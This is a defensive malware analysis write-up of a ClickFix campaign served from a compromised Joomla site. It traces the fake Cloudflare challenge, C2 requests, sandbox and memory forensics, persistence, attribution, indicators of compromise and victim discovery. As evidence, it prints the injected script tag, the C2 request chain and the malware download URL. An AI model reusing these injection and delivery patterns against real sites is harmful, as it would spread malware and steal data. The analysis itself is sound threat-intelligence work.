On 15 July 2026 I stumbled onto the website of a local company, a perfectly normal site, online for years, that was distributing malware to its own Windows visitors without anyone having noticed. Not a scam site: a real business, compromised and turned, without its knowledge, into a distribution vehicle.
In this writeup I walk through the whole chain: how I found it, how the injected script behaved, what happened when I "detonated" the malware in an isolated sandbox, what I pulled out of the memory dumps, and why getting to the point of saying what a malware actually does is much harder than it looks.
A note on responsible disclosure. The victim company's name and domain are redacted: it was an innocent target, a legitimate site that got compromised. The indicators of the attacker's infrastructure (C2 domains, hashes, IPs) are reported instead, because sharing them helps defenders block them. The analysis was carried out in an isolated environment and the company was notified.
1. The discovery: a script that should not have been there
It all started with a detail in the HTML source. On every page, inside the markup of the navigation menu, an alien script appeared:
...sp-menu-item sp-has-child "><script src="https://js.aacaw.com/fp/v1.min.js"></script>"><a href="/">Home</a>...
That orphan " before <a> is the signature of an automated PHP replacement on the server side, not of a manual change to the template. The script was injected once for each menu module rendered: pages with a desktop megamenu and a mobile menu showed two copies of it, pages with a single menu showed just one.
The domain js.aacaw.com had nothing to do with the site. First alarm bell.
2. It is not the malware: it is a gate
I downloaded and deobfuscated fp/v1.min.js (exactly 97,920 bytes, obfuscated with obfuscator.io). The surprise: it contains no payload. Zero occurrences of captcha, download, .exe, blob, clipboard. It is a fingerprint gate, a gate that profiles the visitor and decides whether it is worth attacking them.
The script collects an extended fingerprint on the client side:
- canvas and WebGL (vendor and renderer via
WEBGL_debug_renderer_info) - enumeration of the installed fonts
- full
navigator(userAgent, platform, plugins, hardwareConcurrency, language) - screen resolution, timezone
Then it sends everything to a C2 and waits for the go-ahead. By deobfuscating and re-running the script in a Node sandbox with a mocked browser and intercepted network, I reconstructed the chain step by step:
GET https://api.aacak.com/domain → {"domain":"aacak.com"} (domain-agility)
POST https://api.aacak.com/fingerprint/check → {"status":"exist","fp_hash":"..."}
(se il profilo è un bersaglio → inietta il secondo stadio JS)
The first request is a domain-agility mechanism: the script asks the C2 which domain is active before proceeding, so the attacker can rotate the infrastructure without touching the infected site. The fingerprint travels without any HMAC signature, so the scheme is trivially forgeable, a detail that comes in handy later.
On Mac, Linux or mobile the gate never gets the go-ahead and shows nothing. That is why a compromise like this can go unnoticed for months: it activates only for the right target.
3. The fake Cloudflare and the ClickFix technique
When the profile is a Windows desktop, the gate injects a second stage (static.aacak.com/fp/check.v1.min.js, 992,491 bytes) that builds a pixel-perfect imitation of the Cloudflare challenge. Verbatim text like "Performing security verification", "This website uses a security service to protect against malicious bots", Cloudflare branding, and even the real links to cloudflare.com/turnstile and cdn-cgi/challenge-platform for authenticity.
The staging is built in three acts, reconstructed below from the real samples (the victim's domain redacted: it is an innocent target).
Act 1: the fake challenge. The victim sees the classic Cloudflare interstitial, with the site name in large type, the "Verify you are human" checkbox and the correct branding. Indistinguishable from the real one.

And this is where this scam becomes truly dangerous. Look at the address bar and the title: the domain is the legitimate one of the compromised site. It is not a typosquat, it is not a lookalike domain, it is not a clone site: it is that very site, with its valid HTTPS certificate and the reputation built over years. The one defense we always teach users, "check that the URL is the right one", fails here, because the URL is the right one. No warning bell goes off.
Act 2: the fake failure. You click the checkbox and the challenge pretends to fail: "Verification failed, switching to another verification method". This is the psychological pivot of the scam: the "real" challenge fails, so the user willingly accepts an "alternative" method, lowering their guard right as they are about to be tricked.

Act 3: the ClickFix. The "alternative method" is a page with six fields for a "verification code" and a "Verify now" button.

But the fields and the button are a decoy: they do nothing. This is the heart of the ClickFix technique. The real download starts from a secondary, tucked-away link, "Not enabled yet? Get it now". Clicking it:
POST https://api.aacak.com/fingerprint/download-click (telemetria del clic)
GET https://fp-hk.s3.ap-east-1.amazonaws.com/super4/checkbot/checkbot-<rnd>-0.0.32.exe
The malware is served as an application/octet-stream blob from an AWS S3 bucket in Hong Kong (fp-hk, that is fingerprint-HK), passed off as a "validator" needed to complete the CAPTCHA. After the click the link becomes "Validator downloaded". The user runs the malware believing they are unlocking a CAPTCHA, with no browser vulnerability, only well-packaged social engineering.
And here the trap snaps shut in a diabolical way. The "validator" just downloaded and run is the malware itself, which opens a small window with a six-digit code, presented as the verification code to enter on the page.

The victim copies that code into the six fields of the fake challenge on the site and clicks "Verify now". At that point the fake CAPTCHA disappears and the site, the real one, loads normally: the user keeps browsing undisturbed and convinced they passed a normal security check. No error, no warning, no sign that anything went wrong. The code served no purpose from a security standpoint: it was just the last piece of the staging, the gesture that convinces the user they "completed the verification". Meanwhile the malware is already on their PC, and it will stay there, silent, while they go back to doing what they came to the site for without suspecting a thing.
4. The upstream cause: an un-updated Joomla plugin
How did that script end up on the server? The site ran on Joomla 4.4.14 (an end-of-life branch) with SP Page Builder 4.0.7, affected by:
| Field | Value |
|---|---|
| CVE | CVE-2026-48908, unauthenticated file upload leading to RCE |
| Function | asset.uploadCustomIcon (the access check is missing) |
| Fix | v6.6.2, released on 14/06/2026 |
| Status | in CISA KEV (active exploitation confirmed) since 07/07/2026 |
Cross-referencing with the Wayback Machine, the homepage was clean as of 12 May 2026: the compromise window narrows to the period between May and July, consistent with the appearance of the CVE on the list of actively exploited vulnerabilities. Lesson number one, the most boring and the most important: an obsolete plugin is the way in.
5. Detonation in an isolated sandbox
On to the binary. checkbot-win-*.exe, about 2.76 MB, unsigned. On execution it drops a classic pair of DLL sideloading: dumpchk.exe (a legitimate, signed Microsoft binary) that loads a malicious dbgeng.dll in place of the system DLL of the same name.
I ran it in a fully isolated Windows VM, with no access to the real internet, on a fake network that logs every connection attempt. Reconstructing the timeline from the .pcap, the malware queried three C2 domains in sequence:
~177s api.fingerprint-probe.com ← primo contatto
~370s api.aacaw.com ← stessa famiglia di js.aacaw.com sul sito!
~382s api.aacak.com ← variante typosquat, fallback
The second domain is direct proof that the distributed malware and the script on the site belong to the same infrastructure. All DNS resolutions failed on purpose, so the malware could not exfiltrate anything, but the sequence of domains is exactly what it would have tried to do on a real PC.
6. Memory dumping: reading what the disk hides
The dbgeng.dll file on disk contains no malicious strings in the clear: it embeds two encrypted blobs that it copies into RWX memory and executes. The payload has to be read in RAM, not on disk.
By capturing a full dump of the VM's memory during execution, information that the encrypted file did not reveal emerged in the clear:
- The executable's C2 endpoint:
/fingerprint/create(distinct from the web gate's endpoints) - HTTP library:
ureq/3.3.0withrustls 0.23.41, so the payload is written in Rust (the initial loader is instead C/C++ MSVC: C loader, Rust payload, a common pattern in modern malware) - Unique victim GUID:
0ec389f5-32ae-4a02-85c3-b3a3f21fe78d - Anti-sandbox: the strings
bochsandBOCHS, that is, it checks for the presence of the Bochs emulator (it did not detect our QEMU/WHPX, which is why it behaved normally) - Branding:
CheckBot Error
With Volatility3 I then did things properly on two independent runs (pslist, malfind, memmap, vadinfo):
pslist → checkbot-win.exe = PID 3596, nessun processo figlio
malfind → hit SOLO su MsMpEng.exe, sppsvc.exe, ServerManager
Here is a methodological trap that is extremely easy to fall into: malfind flags RWX regions in Windows Defender and in .NET processes. They look like "injection into Defender", but they are the known false positives, because those processes legitimately use RWX memory for the scan engine and the JIT. None of those hits were in the malware. Whoever does not know this writes a wrong report with great confidence.
The important fact is another one: in our environment the malware prepared the configuration and stopped there, because the C2 never responded. The code injection is conditional on a positive C2 response, so the dangerous behavior unlocks only for real victims with a working internet connection.
7. What it REALLY does: the differential against a clean build
From the dump I carved the decrypted Rust payload (about 780 KB). And here comes the methodologically most delicate part of the whole analysis.
The temptation is: I search for strings in the dump, I find wallet, MetaMask, Login Data, Active Directory, and I conclude "it is a wallet and credential stealer!". Wrong. rustls and the standard library are statically linked: their constants (OID tables, HTTP headers) end up in the .rdata of the blob, co-located with the malware's markers. A raw scan of an 8.6 GB dump fishes up strings from other processes and DLLs in RAM, not from the malware.
To avoid mistaking will-o'-the-wisps for lanterns I compiled a clean reference build with the exact versions of the crates (ureq 3.3.0, rustls 0.23.41, http 1.4.2) and subtracted its strings from those of the payload. Result:
id-smime-cd-ldap,Exchange,LDAP,Cookiesappear in the clean build too: library noise, demonstratedActive Directory,SharePoint,DPAPI,wallet,MetaMask,CVVare absent even from the payload: they came from other processes in RAM- what remains after the subtraction are the author's Rust modules:
src/core/crypto.rs,src/core/client_id.rs,src/core/i18n.rs,src/core/probe.rs, plus anti-debug and a telemetry scheme
Verdict on the initial executable: CheckBot is a fingerprinting-probe/loader, NOT a stealer, a conclusion that is defensible by difference against a clean build, not by string proximity. The data theft, if any, is a later stage.
8. Live detonation: making the anti-analysis fall
As long as the C2 did not respond, the malicious stage did not activate. To observe it I ran a detonation with real egress toward the live C2, in a VM isolated at the network level (the guest reaches the internet but not the LAN or the host).
First live run: denied. My VM was "screaming sandbox": hostname SANDBOX-PC, user Administrator, CPU qemu64, 1 core, QEMU SMBIOS, MAC 52:54:00. The C2 responded with a few KB and no module.
Second run: hardened sandbox. I disguised everything in the QEMU parameters:
-cpu Skylake-Client-v1,-smp 4, Dell OptiPlex 7090 SMBIOS, Dell MAC OUI00:14:22, hostnameWKS-MARCO- a credible user profile with canarytoken decoy credentials:
Desktop\Password.txtwith an AWS key, bank and email, plus.aws\credentialsand Office documents, all fake but armed, because they fire when the attacker uses them
With the environment disguised, I launched the binary and let it work under observation. Here is the malware in action in the hardened sandbox:

You can see everything: the disguised hostname WKS-MARCO, the DNS resolution of the C2 api.aacaw.com which this time responds (the Cloudflare addresses in front of the attacker's server), the launch of checkbot-win.exe from F:\ and, an almost mocking detail, the malware's own window, titled "CheckBot 0.4.32", which reprises a fake Cloudflare widget "Verifying…" with the same six-digit codes as the web page. The same staging as the challenge in the browser, now embedded in the executable: brand consistency all the way into the binary.
This time the fingerprint passed and the final stage arrived. Observed directly:
- Connection to
103.1.225.34:8001and:8002, TLS on non-standard ports, without SNI, direct IP, with a download of about 4 MB of modules and an upload of about 21 KB (exfiltration) - Theft of the decoys attempted: in the private memory of the injected
dllhost.exeprocess (PID 4688) was the full content ofPassword.txt, canary AWS keyAKIATU7L4S6WXXD53K7Yincluded. A healthydllhost.exedoes not read files from the user's Desktop - Injection confirmed with direct evidence of
VirtualAllocEx,WriteProcessMemoryandCreateRemoteThreadisolated in the module (again verified with the differential method, so as not to confuse them with library strings) - DNS-over-HTTPS to hide the C2:
cloudflare-dns.com/dns-queryanddns.quad9.net/dns-queryresolved a new domains4.cache-task.com, evading the network DNS logs
9. Attribution: why we think they are Chinese
A piece that in writeups is often taken for granted, but that here rests on concrete and independent evidence. The attribution to Sinophone operators does not come from a single clue, but from strings in simplified Chinese found at different and unconnected points of the chain: web script, C2 backend, decoy page, binary. If it were a single point I would say coincidence; four independent points, no.
The concrete examples, with the translation:
- C2 error, by sending a malformed fingerprint to the Rust backend:
fp_data 缺少必要字段, that is "required fields are missing". The error message is written in Chinese directly in the server. - Fake CAPTCHA strings:
看 6 位验证码, that is "look at the 6-digit code", the comments for the operator behind the fake Cloudflare challenge. - Fragment in the gate:
网络, that is "network", left among the fingerprint code. - Comment in the CSS of the decoy page:
BOSS 约束, that is "boss's constraint". An almost human detail, the kind of comment a developer writes for themselves, not thinking it will end up under an analyst's lens.
There is more, and it moves the attribution from the language to the infrastructure. The domain resolution happened via multi-provider DNS-over-HTTPS, and among the chosen resolvers was dns.alidns.com, that is the public DNS of Alibaba (China), alongside cloudflare-dns.com, quad9.net and dns.google. A choice that has a double purpose: to bypass the local DNS resolver (no trace in the corporate or ISP DNS) and to lean on infrastructure convenient for someone operating from that area.
And then there is the domain's history, perhaps the most telling piece. Querying the passive DNS of aacak.com, one of the C2 domains, surfaced its historical subdomains: not random names, but liuhecai, yulecheng, zuqiubocai. They are all Chinese gambling terms: respectively the Hong Kong Mark Six lottery, the "entertainment cities" that is to say online casinos, and football betting. In other words, before hosting the CheckBot gate, that same domain served Chinese online betting operations. It is not a victim and it is not noise: it is a piece of the attacker's biography. It says that behind this campaign there is no newcomer, but an actor already rooted in the sinophone underground gambling ecosystem, who then repurposed their infrastructure to distribute malware.
Finally, a detail from the panic paths of the Rust binary: the stealer was cross-compiled on macOS (stable-aarch64-apple-darwin toolchain). It is not proof of nationality, but it paints the profile: operators who develop on Apple Silicon Macs, with internal messaging in Chinese, and infrastructure that touches Chinese providers.
It remains a strong but not conclusive attribution: strings in one language can be planted on purpose to mislead. Yet the consistency between language, DNS providers, the domain's history and comment style makes the false flag less likely than a single isolated clue would make it.
10. Not a fixed-target stealer, but a modular agent
By recovering the decompressed module from RAM (Volatility3 vadinfo --dump) and disassembling it, the entire tree of the author's Rust sources emerged (from the panic paths app/r/...):
core/ c2_endpoint.rs, tcp3.rs (TLS custom), dns3.rs + dns_resolve.rs (DoH)
runtime/ beacon.rs, task.rs + heavy_task.rs + worker.rs (esecutore di task C2),
supervisor.rs, immortal.rs (persistenza), host_info_cache.rs (recon)
win/ remote_inject.rs (injection), agent_launch.rs, plat.rs, storage.rs
embed/ cfg.rs, version.rs (v0.0.32)
This explains the absence of browser and wallet strings: it is not a stealer with hard-wired targets, it is a modular agent driven by C2 tasks. The operator pushes the commands (inject_host, restart, update, sleep, stop, god, fmt and others); the file theft happened because they sent the right task, and indeed they took my decoy. Capabilities like browser or wallet theft would be additional modules downloaded on-demand. The risk surface is open; what is demonstrated on this victim is: injection, recon, persistence, file theft on command and exfiltration.
11. Persistence and neutralization
Persistence is redundant, designed to resist cleanup. The literal string is hard-coded in the CheckBot binary:
- Primary hook: a disguised scheduled task
\Microsoft\Windows\Device Information\DeviceCensusHelper(imitating the legitimateDeviceCensus, with a falsified author Microsoft Corporation), created via the Task Scheduler COM API, which runs the sideload loader at every boot - Fallback hook: an HKLM registry key (
immortal.rs), used if the task fails - Self-heal:
immortal.rsandsupervisor.rsrestart the threads, and task and body recreate each other
That is why to clean up it is not enough to delete a file. You need all the hooks together:
- Site offline and patch the cause: update SP Page Builder to a version equal to or higher than 6.6.2, update everything else, consider migrating away from Joomla 4.4 EOL
- Hunt for persistence on the infected endpoint: remove the scheduled task
DeviceCensusHelper, the HKLM key, the dropped loader (dumpchk.exeanddbgeng.dll) and the injecteddllhost.exe; if one is missing, it regenerates - Total credential rotation (Joomla admin,
configuration.phpsecret, DB, hosting, FTP/SSH, API keys) - On the server: look for hidden admins and webshells, without stopping at the plugin
- GDPR: the site collected contacts via a form, so with access to the DB the attacker could have seen third parties' data; hence the assessment of the breach notification obligation (72 hours, Art. 33)
As a final touch, the exfiltrated canary decoys are armed: the AWS key AKIATU7L4S6WXXD53K7Y and the Office documents with a callback to canarytokens.com will fire when the operator uses the loot, revealing the attacker's real IP and user-agent.
Indicators of compromise (IOC)
| Type | Value |
|---|---|
| Gate domain (injected) | js.aacaw.com |
| C2 domains | api.aacaw.com, api.aacak.com, api.aabaw.com, api.fingerprint-probe.com |
| Second-stage JS | static.aacak.com/fp/check.v1.min.js |
| Delivery/exfil (S3 Hong Kong) | fp-hk.s3.ap-east-1.amazonaws.com, with super4/checkbot/checkbot-*-0.0.32.exe and super4/zip/<token>.zip |
| Final exfiltration server | 103.1.225.34:8001 and :8002 (TLS without SNI, direct IP) |
| C2 domain via DoH | s4.cache-task.com |
| Persistence | scheduled task \Microsoft\Windows\Device Information\DeviceCensusHelper |
| Injection target process | dllhost.exe |
dbgeng.dll hash (malicious payload) |
d36db5975073d65a7d7ff48d0dab9ec3b4ce6302a42c01b89f78a580658df9a3 |
| Exploited CVE | CVE-2026-48908 (SP Page Builder up to 6.6.1, Joomla) |
| Attribution | Chinese strings in the gate, C2 and decoy, DoH toward Alibaba, build on macOS, hence Sinophone operators |
12. Not an isolated case: hunting the other victims
Once I'd reported the first site, the obvious question was: is this an isolated target, or the tip of something bigger? The injection signature I'd isolated during the analysis (the gate script js.aacaw.com and the C2 domain family *.aacaw.com / *.aacak.com / *.aabaw.com) was a perfect fingerprint for finding other victims: if a site anywhere in the world loaded that script, it belonged to the same campaign.
I did it without touching a single victim site, using only passive sources:
- urlscan.io, which archives the network requests actually made by every scanned page: querying the index for the campaign's domains surfaces the sites that gate "fired" from.
- PublicWWW, which indexes the HTML source of hundreds of millions of sites: searching for the string
js.aacaw.comreturns the pages where the injection is still present. - Certificate transparency (crt.sh) to map the families of sibling domains the attacker generated.
The result shifted the whole perspective: not one site, but dozens. On the order of 60-90 observable victims at that moment, spread across fifteen or so countries, with a common denominator that leaves no room for doubt: all Joomla with SP Page Builder, exactly the same combination and the same CVE-2026-48908 as the first site. Not a chosen target, but an automated harvest of whatever vulnerable installation the attacker could find.
And what victims. Without naming names (they are blameless targets, like the first): professional firms handling third parties' financial data, academic and public institutions, a theater, cultural and sports associations, small service businesses and, at the high end of the risk scale, a bank and government portals. Each of these sites, unaware, was serving the same fake Cloudflare challenge to its Windows visitors.
The most insidious detail is why nobody had noticed. The gate doesn't fire every time: it's cloaked, served intermittently: once per IP, based on user-agent, geolocation, referrer. Owners who open their own site see it clean, because on the second load the gate stays shut; urlscan catches it only at the exact instant it decides to "fire." That explains how a campaign this broad can stay invisible for months to the very people affected.
One clarification, because the same discipline applied to the memory dumps applies here too: an initial, impression-based estimate suggested thousands or tens of thousands of sites. The data doesn't support it. The real footprint of the web injection is on the order of dozens, not thousands: the gate is deliberately stealthy, and sophistication doesn't imply a high number of sites (the campaign's "volume," if anywhere, is on the side of the botnet of infected devices, which isn't measurable from passive sources). Even in sizing a campaign, the writeup's rule holds: count what you can prove, not what makes an impression.
There's a line I did not cross: no hack-back. Connecting to the attacker's server to extract the "complete list" of victims would be unauthorized access, illegal even against a criminal, and often the best way to land in a honeypot. Reconnaissance of hostile infrastructure is done only through passive indices; the truly exhaustive list is obtained legitimately, by handing the IOCs to the CSIRT/CERT, which has the powers and channels for takedown and coordinated victim notification, the mandatory route especially for the public entities hit.
I contacted the victims I could reach, starting with the Italian ones, and passed the indicators to institutional channels. But the point, for the reader, is a different one, and it closes the loop with the first lesson: that first site had nothing special about it. It hadn't been chosen. It was just one of many running an outdated plugin, at the wrong time.
What I take home
Three lessons, in order of importance.
An un-updated plugin is enough. No sophisticated browser exploit, no zero-day: a known CVE in an end-of-life plugin, and a legitimate site becomes a malware distributor for months without anyone noticing, because the gate activates only for the right target.
Static analysis is not enough against modern packing. A Rust downloader, then a zip encrypted with a password from the C2, then a C loader with an XOR-rolling blob, then shellcode, then a payload compressed at runtime. Every layer is designed to stop whoever looks only at the file on disk. The truth is in RAM, and it has to be pulled out with controlled detonation and memory forensics.
Watch out for what you think you found. The malfind false positives on Defender, the library strings mistaken for malware capabilities, the first "wallet, browser, Telegram" list that the differential demolished. The difference between a right report and a wrong but convincing one is all here: verify by difference, not by proximity.
If you run a site on a CMS with third-party plugins, whether it is Joomla, WordPress or Drupal, the question is not whether there are pending updates, but for how long.
